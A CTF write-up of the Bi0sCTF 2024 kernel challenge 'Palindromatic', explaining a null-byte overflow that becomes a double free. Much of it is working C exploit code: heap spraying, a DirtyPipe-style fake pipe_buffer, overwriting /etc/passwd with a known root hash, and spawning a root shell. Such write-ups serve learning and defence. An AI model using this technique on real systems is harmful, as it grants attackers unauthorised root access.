Palindromatic -- Dirtypipe [Bi0sCTF 2024] - Sun, Mar 3, 2024
TLDR
Palindromatic is a kernel pwn challenge in Bi0sCTF 2024 involving a null byte overflow vulnerability, cross cache, followed by DirtyPipe. The common kernel protections SMAP, SMEP, KPTI, KASLR are all enabled, with the addition of CONFIG_RANDOM_KMALLOC_CACHES which makes heap spraying more finnicky. Although I did not manage to solve this challenge during the CTF, I thought that this was a really cool challenge and since I wanted to learn how to do a DirtyPipe attack, I made this writeup :D
Do check out the author’s (K1R4) writeup too: https://blog.bi0s.in/2024/02/26/Pwn/bi0sCTF24-palindromatic/
Table of Contents
- Introduction to the Challenge
- Module Analysis
- Finding the Bug
- Cross Cache, Weird Objects and CONFIG_RANDOM_KMALLOC_CACHES
- The Actual Proper Way to Double Free
- DirtyPipe
Introduction to the Challenge
The challenge description was as such:
An unnecessarily complex palindrome checker, implemented as a kernel driver.
What could possibly go wrong?
The kernel module palindromatic.ko was provided, along with the bzImage, kernel module source code, a root filesystem, a script to start qemu, and the kernel .config file. Challenge files can be downloaded here. SMAP, SMEP, KPTI, and KASLR were enabled, as well as CONFIG_RANDOM_KMALLOC_CACHES, CONFIG_SLAB_FREELIST_RANDOM, CONFIG_SLAB_FREELIST_HARDENED, and CONFIG_STATIC_USERMODEHELPER.
I worked on this challenge together with my teammate Shunt; unfortunately, we were unable to solve the challenge during the CTF. This serves as a post-mortem kind of writeup to learn how DirtyPipe works, as well to explore certain kernel structs such as pipe_buffer in greater depth (and also for me to learn how to git gud!)
Module Analysis
The module registers the misc device /dev/palindromatic and sets up a specific memory cache “palindromatic” at startup. The device itself has many IOCTL functions, as well as an incoming and an outgoing queue. The gist of it is that you can queue some requests (which will be put into the incoming queue), ask the module to check if the input is a palindrome (hence causing the requests in the incoming queue to be processed and put into the outgoing queue), and retrieve the results (taking the requests from the outgoing queue). The functions of the module are listed below:
DO_QUEUE: 0xb10500a
case QUEUE:
if(copy_from_user(&arg, (void *)uarg, sizeof(arg_t))) goto end;
ret = pm_add_request(&arg);
break;
This basically adds a new request into the incoming queue. The request object created has the following structure:
typedef struct request_t
{
ptype type;
unsigned long magic;
char str[STRING_SZ];
char sanstr[STRING_SZ];
} request_t;
The request object is 0x400 (1024) bytes, and STRING_SZ is equal to 0x1f8.
DO_SANITIZE: 0xb10500b
case SANITIZE:
if(sanitized) goto end;
sanitized = true;
ret = pm_sanitize_request();
break;
You can only call sanitize one time. This basically sanitizes the input from one request in the incoming queue, by filtering characters not in [A-Z|a-z], and translating all characters to [A-Z]. This is actually the buggy function; more on this later.
DO_RESET: 0xb10500c
case RESET:
ret = pm_reset_request();
break;
...
static noinline long pm_reset_request(void)
{
request_t *req = pm_queue_dequeue(&incoming_queue);
if(!req) return -1;
if(req->type != RAW)
{
req->type = RAW;
memset(req->sanstr, 0x0, sizeof(req->sanstr));
pm_queue_enqueue(&incoming_queue, req);
}
else
{
kfree(req);
}
return 0;
}
This function operates on one request from the incoming queue. The request is first removed from the incoming queue. If a request has a type equal to RAW, the request will be freed; else its type will be set to RAW and will be added back to the start of the queue.
DO_PROCESS: 0xb10500d
case PROCESS:
ret = pm_process_request();
break;
...
static noinline long pm_process_request(void)
{
long idx = -1;
request_t *req = pm_queue_peek(&incoming_queue);
if(!req) goto end;
if(req->magic != magic) goto end;
int len = req->type==SANITIZED?strlen(req->sanstr):strlen(req->str);
if(!len) goto end;
idx = pm_queue_enqueue(&outgoing_queue, req);
if(idx < 0) goto end;
memset(temp_buffer, 0x0, STRING_SZ);
if(req->type == RAW)
{
for(int i = (len/2)-1; i > -1; i--)
{
if(req->str[i] < 0x41 || req->str[i] > 0x5a) break;
temp_buffer[i] = req->str[i];
}
temp_buffer[len/2] = 0;
if(strcmp(temp_buffer, &req->str[len/2]+len%2)) req->type = NONPALINDROME;
else req->type = PALINDROME;
pm_queue_dequeue(&incoming_queue);
}
if(req->type == SANITIZED)
{
for(int i = (len/2)-1; i > -1; i--) temp_buffer[i] = req->sanstr[i];
temp_buffer[len/2] = 0;
if(strcmp(temp_buffer, &req->sanstr[len/2]+len%2)) req->type = NONPALINDROME;
else req->type = PALINDROME;
pm_queue_dequeue(&incoming_queue);
}
}
Process will take a request from the incoming queue, check if the string in the request is a palindrome, modify the type to reflect the result, and then finally add the processed request to the outgoing queue. Note that in the code above, only objects with a RAW or SANITIZED type will be dequeued from the incoming queue after being processed; this is also really important later on!
DO_REAP: 0xb10500e
case REAP:
ret = pm_reap_request();
break;
...
static noinline long pm_reap_request(void)
{
request_t *req = pm_queue_dequeue(&outgoing_queue);
if(!req) return -1;
if(req->magic != magic) return -1;
long ret = req->type==PALINDROME?1:0;
kfree(req);
return ret;
}
Reap operates on one request from the outgoing queue. It will first remove the request from the outgoing queue, make sure that the magic value is unmodified, before checking the type of the request and returning a value for whether it is or is not a palindrome. When a request is successfully reaped, it will be freed.
DO_QUERY: 0xb10500f
case QUERY:
ret = pm_query_capacity();
break;
...
static noinline long pm_query_capacity(void)
{
long ret = (QUEUE_SZ-pm_queue_count(&outgoing_queue))<<16
| (QUEUE_SZ-pm_queue_count(&incoming_queue));
return ret;
}
Query returns the number of unfilled spaces in both the incoming and outgoing queues.
Finding the Bug
While messing with the module fuzzing, I noticed that it was possible to add the same request to the outgoing queue reliably multiple times. This was the PoC that caused a crash if I tried to reap the same request twice after I ran it:
for (int i = 0; i < 0x100; i++) {
memset(&buf, 0x41, sizeof(buf));
do_queue(buf);
}
do_sanitize();
for (int i = 0; i < 0x50; i++) {
do_process();
}
The crash was due to the fact that CONFIG_SLAB_FREELIST_HARDENED protects against consecutive double frees (as mentioned here: https://a13xp0p0v.github.io/2017/09/27/naive-double-free-detection.html), but since we were able to put at least 2 objects with the same address into the outgoing queue, this gives us the potential for a double free.
I wasn’t sure what caused the bug, but then my teammate Shunt managed to figure it out. Remember the DO_SANITIZE function of the module? This is the code for the function that actually does the sanitization:
static noinline long pm_sanitize_request(void)
{
long idx = -1;
request_t *req = pm_queue_peek(&incoming_queue);
if(!req) goto end;
if(req->type == SANITIZED) goto end;
memset(temp_buffer, 0x0, STRING_SZ);
int ptr = 0;
for(int i = 0; i < STRING_SZ; i++)
{
if(!req->str[i]) break;
if(req->str[i] > 0x60 && req->str[i] < 0x7b)
temp_buffer[ptr++] = req->str[i]-0x20;
else if(req->str[i] > 0x40 && req->str[i] < 0x5b)
temp_buffer[ptr++] = req->str[i];
else continue;
}
temp_buffer[ptr] = 0;
strcpy(req->sanstr, temp_buffer); <-- BUGGY! 🐞
req->type = SANITIZED;
idx = pm_queue_enqueue(&incoming_queue, pm_queue_dequeue(&incoming_queue));
end:
return idx;
}
The maximum length of a string (as defined by STRING_SZ) is 0x1f8. The input the user provides to the ioctl is copied to the kernel, and then stored in req->str when a new request in queued. When the request is sanitized, the contents of req->str is copied to temp_buffer, and the end of the string (which can be a maximum of 0x1f8 characters) is terminated with a null byte (making that a maximum of 0x1f9 characters). Following which, temp_buffer is copied to req->sanstr via a strcpy operation.
However, remember that in a strcpy operation, the null byte is copied to the destination along with the string. This means that if the string consists of 0x1f8 characters, a total of 0x1f9 characters will be copied to req->sanstr, which has a size of 0x1f8. This would give us a single null byte overflow into the next request object, and this would overflow the last byte of req->type.
Now what causes the addition of the same object into the outgoing queue multiple times? When the null byte overflow occurs, the type of the object continguous to the sanitized object in memory is modified from RAW (0x1337) to 0x1300. Remember that the process function will only dequeue an object from the incoming queue if the request type is either RAW (0x1337) or SANITIZED (0x1338)? This means that when the corrupted request is processed, it will never be dequeued from the incoming queue. However, each process called will add the request once to the outgoing queue, meaning that the same request can be added multiple times to the outgoing queue.
This also means that since the corrupted request will not be removed from the incoming queue, the number of free slots in the incoming queue will not change. Shunt realized that after calling sanitized, by calling query before calling process, it was possible to tell when the corrupted request was processed and added to the outgoing queue. This was important in stabilizing the cross cache, as the memory blocks allocated to the objects when they were queued are not continguous in memory (but the corrupted object is the object directly after the sanitized object in memory), so the corrupted object would be at a changing offset after the sanitized object in the incoming queue (which is the order that they are being processed).
Cross Cache, Weird Objects and CONFIG_RANDOM_KMALLOC_CACHES
Knowing that we have a potential double free, the idea was to free the object for the first time via reap, spray something over the object, and then free it via reap a second time (since there were two entries of the same address in the outgoing queue). The catch for this method was that reap required the magic value to be intact in order to free the object, and hence whatever spray we used could not destroy the magic value (or so we thought).
Since the victim object was of size 1024, I thought that we could do the following:
- Queue 0x100 objects
- Process 0x30 objects (I generally like to have a ‘padding’ when it comes to cross cache)
- Call sanitize on one object to corrupt the object continguous to it in memory
- Do queue and process until we process the corrupted object at least twice to have it in the outgoing queue at least twice
- Reap to free the padding
- Reap the vulnerable object to free it once
- Call reset to free all the other objects in the incoming queue
- Spray “pipe_buffer” over the freed victim object
- Reap to free the vulnerable object a second time – more about this later; we ended up getting stuck here
Ultimately, I was hoping to somehow control RIP the ✨ classic ✨ way with a double free – free the first time, spray struct pipe_buffer objects, free the second time, spray something like msg_msgseg or sk_buff to get a kernel text leak (assuming I get a kernel heap leak via some similar method by overlapping msg_msg with msg_msgseg) and then overwrite pipe_buf_operations with a JOP gadget that will then lead on to stack pivot and a ROP chain. However, we did have some weird stuff happen while trying to spray pipe_buf.
For reference, struct pipe_buffer is as follows:
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
struct pipe_buffer is allocated in kmalloc-cg-1k, and typically looks like this in memory:
And the way that I sprayed pipe_buf was as such:
for (int i = 0; i < NUM_PIPEFDS; i++) {
if (pipe(pipefd[i]) < 0) {
perror("[!] pipe");
exit(-1);
}
if (write(pipefd[i][1], "ABC", 3) < 0) {
perror("[!] write");
exit(-1);
}
}
However, we were getting this object instead of the expected pipe_buf object while doing our cross cache:
After some investigation, I finally managed to find out what object this is. According to https://www.interruptlabs.co.uk/articles/pipe-buffer, when a pipe_buffer is allocated, and data is written to a pipe, a page (size 4096) will be used by the kernel to store data for the pipe. So instead of cross caching to a pipe_buffer object, it cross cached to the page used to store data by the pipe :o
Interestingly, if we wrote less than 9 bytes to the pipe, as the pages are not zeroed out before being reallocated, the magic value would remain intact. As such, if the victim object was reallocated to this page object used by the pipe to store data, technically we could still free the very same object via reap, as the magic value would be untouched.
So after freeing the victim object for the first time and allocating this pipe_buf page object over the victim object, we can free the victim objecct a second time via reap. After doing so, I tried to spray msg_msg or msg_msgseg over the victim object to see if I could get a kernel text leak, but then the next weird thing happened.
Instead of a msg_msg or msg_msgseg object, I was getting this object that was full of 0x1s. I later figured out that this is likely to be the object allocated by selinux, which the security pointer in struct msg_msg points to.
While trying to fix the cross cache sprays, I was wondering why the heap sprays were so unstable (and object didn’t go where I wanted them to go), so I decided to take a look at /proc/slabinfo (I actually only realized that .config was provided after the CTF was over 😅). I then noticed that the normal cg caches were missing, and that they were seemingly replaced by these strange rnd caches:
I googled and realized that this was actually some kind of new kernel protection CONFIG_RANDOM_KMALLOC_CACHES
, which aimed to make it more annoying for attackers to perform a reliable heap spray. This is a good article about it: https://sam4k.com/exploring-linux-random-kmalloc-caches/#introducing-random-kmalloc-caches, but in summary, multiple (usually 16) slab caches are introduced for each size. When an object is allocated via kmalloc, it will go into one of the 16 caches randomly based on where kmalloc is called and a per-boot generated seed. This means that our spray will be distributed amongst these 16 slab caches randomly. How annoying!
The solution to this is actually simply to just spray even more objects; and hope that one of them reclaim the freed victim object.
At this point, we finally managed to stabilize the pipe_buffer spray, but now that the actual struct pipe_buffer reclaimed the victim object instead of the data page, the magic value was destroyed. This also destroyed my hopes for the second free, as with the magic value corrupted, reap would not work :"(
The Actual Proper Way To Double Free
There is actually a way not to get roadblocked by the magic value! The solution was as such:
- Process the corrupted request so that it is added once to the outgoing queue
- Reset the corrupted request (since it is not removed from the incoming queue, so operations can still be performed on it) so that it moved back to the top of the incoming queue
- Process all the other requests in the incoming queue – at this point, the incoming queue would only have 0x0 and the address of the corrupted request object
- Reap to free all objects in the outgoing queue including the corrupted object
- Spray pipe_buffer objects over the corrupted object
- Reset twice to cause a double free on the corrupted object
- Spray another round of pipe_buffer objects to reclaim the victim object
Technically with this reset method, the magic value would not matter at all, which means we could actually do a classic pipe_buf_operations overwrite 🤔 but that would also mean needing to fiddle with a ROP chain, which can be pretty annoying :<
This is how it can be done in the exploit:
printf("STAGE 1: TRIGGER DOUBLE FREE\n");
printf("[+] Do queue 0x100 times\n");
memset(&buf, 0x41, sizeof(buf));
for (int i = 0; i < 0x100; i++) {
do_queue(buf);
}
printf("[+] Do process 0x30 times\n");
for (int i = 0; i < 0x30; i++) {
do_process();
}
printf("[+] Do sanitize\n");
do_sanitize();
printf("[+] Do process 0x10 times\n");
for (int i = 0; i < 0x10; i++) {
count_old = count_new;
count_new = do_query() & 0xff;
if (count_new == count_old) {
break;
} else {
offset = offset + 1;
}
do_process();
}
printf("[+] Offset: %x\n", offset);
printf("[+] Do reset to move corrupted request into incoming queue\n");
do_reset();
printf("[+] Process all the other incoming requests\n");
for (int i = 0; i < (0x100-0x30-offset); i++) {
do_process();
}
// STAGE 2: CROSS CACHE
printf("STAGE 2: CROSS CACHE\n");
printf("[+] Do reap to free all items in the outgoing queue\n");
for (int i = 0; i < 0x100; i++) {
do_reap();
}
printf("[+] Spraying pipe_buf over freed 1024 area\n");
for (int i = 0; i < NUM_PIPEFDS; i++) {
if (pipe(pipefd[i]) < 0) {
perror("[!] pipe");
exit(-1);
}
}
sleep(1);
for (int i = 0; i < NUM_PIPEFDS; i++) {
if (write(pipefd[i][1], "BBBB", 4) < 0) {
perror("[!] write");
exit(-1);
}
}
sleep(1);
printf("[+] Free a second time using reset\n");
do_reset();
do_reset();
printf("[+] Spray another round of pipe_buf to replace double freed object\n");
for (int i = NUM_PIPEFDS; i < NUM_PIPEFDS+0x60; i++) {
if (pipe(pipefd[i]) < 0) {
perror("[!] pipe");
exit(-1);
}
}
sleep(1);
for (int i = NUM_PIPEFDS; i < NUM_PIPEFDS+0x60; i++) {
if (write(pipefd[i][1], "CCCC", 4) < 0) {
perror("[!] write");
exit(-1);
}
}
sleep(1);
When this is done, two of the pipefds will be pointing to the same object: one in the spray of NUM_PIPEFDS (0x200) objects (where “BBBB” was written), and another in the second part of the spray where 0x60 objects were sprayed (where “CCCC” was written).
Technically, when we read from the first part of the spray, we should only be reading “B"s; however, if we encounter the victim object, we would be reading “C"s as the original pipe_buffer sprayed over the victim object in the first part of the spray has been overwritten by a pipe_buffer object sprayed in the second part of the spray. To determine which pipefd contains the victim object, all we need to do is to read from all the pipes in the first half of the spray and see which one contains “C"s.
printf("[+] Find the corrupted pipe_buf object\n");
for (int i = 0; i < NUM_PIPEFDS; i++) {
memset(&stuff, 0, sizeof(stuff));
read(pipefd[i][0], &stuff, 2);
if (stuff[0] == 0x43) {
corrupted = i;
}
}
if (corrupted == -1) {
printf("[!] Pipe corruption failed\n");
exit(-1);
}
printf("[+] Corrupted pipe index: %x\n", corrupted);
We can then free the victim object by closing all the pipes in the second half of the spray, and reclaiming the victim object by spraying msg_msgseg:
printf("[+] Free one of the two pipe_bufs over the victim\n");
for (int i = 0; i < NUM_PIPEFDS+0x60; i++) {
if (i == corrupted) {
continue;
}
close(pipefd[i][0]);
close(pipefd[i][1]);
}
sleep(1);
printf("[+] Spraying msg_msgseg over victim object\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
memset(&secondary_msg, 0x5a, sizeof(secondary_msg));
*(long *)&secondary_msg.mtype = 0x41;
*(int *)&secondary_msg.mtext[0] = MSG_TAG;
*(int *)&secondary_msg.mtext[4] = i;
if (msgsnd(msqid[i], &secondary_msg, sizeof(secondary_msg) - sizeof(long), 0) < 0) {
perror("[!] msg_msg spray failed");
}
}
sleep(1);
DirtyPipe
DirtyPipe (CVE-2022-0847) is a vulnerability in the Linux Kernel discovered by Max Kellermann, who wrote a really interesting story about how he found the bug here: https://dirtypipe.cm4all.com/. DirtyPipe has since been patched, however the author of the challenge found an article about how this technique could be revived given some primitive: https://github.com/veritas501/pipe-primitive.
A struct pipe_buffer can have the following flags:
#define PIPE_BUF_FLAG_LRU 0x01 /* page is on the LRU */
#define PIPE_BUF_FLAG_ATOMIC 0x02 /* was atomically mapped */
#define PIPE_BUF_FLAG_GIFT 0x04 /* page is a gift */
#define PIPE_BUF_FLAG_PACKET 0x08 /* read() as a packet */
#define PIPE_BUF_FLAG_CAN_MERGE 0x10 /* can merge buffers */
#define PIPE_BUF_FLAG_WHOLE 0x20 /* read() must return entire buffer or error */
The flag PIPE_BUF_FLAG_CAN_MERGE is critical to this CVE. In the kernel, even though each pipe_buffer object is 40 bytes, it is allocated in the kmalloc-cg-1024 cache (rnd in this case), because the pipe_buffers are allocated as an array of pipe_buffers by kcalloc. Each pipe_buffer would then refer to a page in the page cache which stores its data.
When a write is performed to the pipe that does not completely fill the page, it would be appended to the existing page instead of allocating a new one. These buffers would be marked with the PIPE_BUF_FLAG_CAN_MERGE flag. When data is read from the pipe, the PIPE_BUF_FLAG_CAN_MERGE flag is not unset.
Another optimization that the kernel has is the ability to splice, which transfers data between 2 file descriptors (of which one is a pipe) without copying between userland and kernel land. Splicing is a zero copy operation, and when a file is spliced, a new pipe_buffer object is added to the ring, where the page pointer points inside the page cache to the page containing data from the file. Now, if the pipe has the PIPE_BUF_FLAG_CAN_MERGE flag, data written to the pipe would be written to that page, which would give us an arbitrary write to the cached page of the file that was spliced.
In the original DirtyPipe exploit, Max showed that it was possible to perform an arbitrary write to any file via the following steps:
- Create a pipe
- Fill the pipe with arbitrary data such that the PIPE_BUF_FLAG_CAN_MERGE flag was set
- Drain the pipe by reading from it (but the PIPE_BUF_FLAG_CAN_MERGE flag remains set as it is not zeroed out)
- Splice data from the target file (e.g. /etc/passwd) to the pipe – the condition is that we must have read access to the file
- Write arbitrary data to the pipe – this would overwrite data in the cached page of the file
Now, back to the challenge. While the kernel version (6.7.5) is super new and is patched against the original DirtyPipe CVE, it is possible to revive this technique with the primitives we have. In short, we can:
- Splice our target file (/etc/passwd) over the msg_msgseg object, which would allow us to leak the new pipe_buffer object added to the ring
- Free the original msg_msgseg used for reading
- Spray a modified pipe_buffer object, where the PIPE_BUF_FLAG_CAN_MERGE flag has been set
- Create a new nice little password for the root user and write it to the /etc/passwd file
- Fork, login, and profit $$$
This was the author’s solution to this challenge, which I find really cool :D
To splice the /etc/passwd file to the victim pipe, we can do the following:
printf("[+] Splice pipe\n");
loff_t off = 1;
if (splice(passwd, &off, pipefd[corrupted][1], NULL, 1, 0) < 0) {
perror("[!] Splice failed");
}
We then leak the pipe_buffer object by reading from the msg_msgseg object. To read from msg_msg without freeing the objects, MSG_COPY can be used. We will copy the leak into a fake pipe_buffer object, but with the PIPE_BUF_FLAG_CAN_MERGE flag set.
printf("[+] Getting a leak of the pipe_buffer object\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
if (msgrcv(msqid[i], &leak, sizeof(secondary_msg) - sizeof(long), 0, MSG_COPY | IPC_NOWAIT) < 0) {
perror("[!] msgrcv failed");
}
if (leak[0x1ff] != 0x5a5a5a5a5a5a5a5a) {
overlap = i;
printf("[+] Found overlapping object at index %x\n", overlap);
memcpy(&fake_pipe, &leak[0x1ff], sizeof(fake_pipe));
fake_pipe.flags = 0x10;
fake_pipe.offset = 0;
fake_pipe.len = 0;
printf("[+] Fake pipe_buffer object:\n");
for (int j = 0; j < (sizeof(fake_pipe)/8); j++) {
printf(" 0x%llx\n", ((uint64_t *)&fake_pipe)[j]);
}
break;
}
}
Now, we free that one specific corrupted msg_msgseg object over the victim object, and spray the fake pipe_buffer object via msg_msgseg:
printf("[+] Free that one specific message\n");
if (msgrcv(msqid[overlap], &leak, sizeof(secondary_msg)-sizeof(long), 0x41, 0) < 0) {
perror("[!] Free msg_msg object failed");
}
sleep(1);
char msg[0x1500];
memset(&msg, 0x0, sizeof(msg));
memcpy(&(msg[0xff8]), &fake_pipe, sizeof(fake_pipe));
printf("[+] Spray new msg_msgseg objects with fake pipe_buffers\n");
memset(&secondary_msg, 0x0, sizeof(secondary_msg));
memcpy(&secondary_msg, &msg, sizeof(secondary_msg));
printf("[+] Spraying msg_msgseg over victim object\n");
for (int i = 0; i < 0x100; i++) {
*(long *)&secondary_msg.mtype = 0x42;
*(int *)&secondary_msg.mtext[0] = MSG_TAG;
*(int *)&secondary_msg.mtext[4] = i;
if (msgsnd(msqid[i], &secondary_msg, sizeof(secondary_msg) - sizeof(long), 0) < 0) {
perror("[!] msg_msg spray failed");
}
}
sleep(1);
We can then write our new password for the root user into the pipe:
printf("[+] Overwrite /etc/passwd\n");
// The creds are root:catcatcat
char catcatcat[] = "root:$1$KHAVTUKO$GU3BysPeNf8W7hDrzo0bu/:0:0:root:/root:/bin/sh\nuser:x:1000:1000:Linux User,,,:/home/user:/bin/sh";
write(pipefd[corrupted][1], catcatcat, sizeof(catcatcat));
Now check that the write has succeeded, call fork, open a shell, and profit!
char content[0x80];
memset(&content, 0, sizeof(content));
printf("[+] Check contents of /etc/passwd\n");
if (read(passwd, content, 0x80) < 0) {
perror("[!] read failed");
}
printf("%s\n", content);
printf("[+] Log in with root:catcatcat\n");
if (!fork()) {
char *argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
}
When the exploit is run:
~ $ /exploit
STAGE 0: SETUP
[+] Initial setup
[+] FD limit set to 4096
[+] Setting up msg queues
[+] Set up pipe_buf stuff
[+] Opening device
[+] Opening target file /etc/passwd
STAGE 1: TRIGGER DOUBLE FREE
[+] Do queue 0x100 times
[+] Do process 0x30 times
[+] Do sanitize
[+] Do process 0x10 times
[+] Offset: 7
[+] Do reset to move corrupted request into incoming queue
[+] Process all the other incoming requests
STAGE 2: CROSS CACHE
[+] Do reap to free all items in the outgoing queue
[+] Spraying pipe_buf over freed 1024 area
[+] Free a second time using reset
[+] Spray another round of pipe_buf to replace double freed object
[+] Find the corrupted pipe_buf object
[+] Corrupted pipe index: 12
[+] Free one of the two pipe_bufs over the victim
[+] Spraying msg_msgseg over victim object
[+] Splice pipe
[+] Getting a leak of the pipe_buffer object
[+] Found overlapping object at index 26
[+] Fake pipe_buffer object:
0xffffdd34400caa40
0x0
0xffffffffb82205e0
0x10
0x0
[+] Kernel text base: 0xffffffffb7000000
STAGE 3: DIRTYPIPE
[+] Free that one specific message
[+] Spray new msg_msgseg objects with fake pipe_buffers
[+] Spraying msg_msgseg over victim object
[+] Overwrite /etc/passwd
[+] Check contents of /etc/passwd
root:$1$KHAVTUKO$GU3BysPeNf8W7hDrzo0bu/:0:0:root:/root:/bin/sh
user:x:1000:1000:
[+] Log in with root:catcatcat
~ $ cat /etc/passwd
root:$1$KHAVTUKO$GU3BysPeNf8W7hDrzo0bu/:0:0:root:/root:/bin/sh
user:x:1000:1000:~
~ $ su root
Password:
/ # whoami
root
/ # id
uid=0(root) gid=0(root) groups=0(root)
/ # YAY :D
The challenge files and the full exploit can be obtained here: https://github.com/KaligulaArmblessed/Practice_Exploits/tree/main/Palindromatic_Bi0sCTF2024
I had a lot of fun learning about this cool technique with this challenge, special thanks to Team Bi0s and K1R4 for the wonderful challenge, and to everyone for reading :D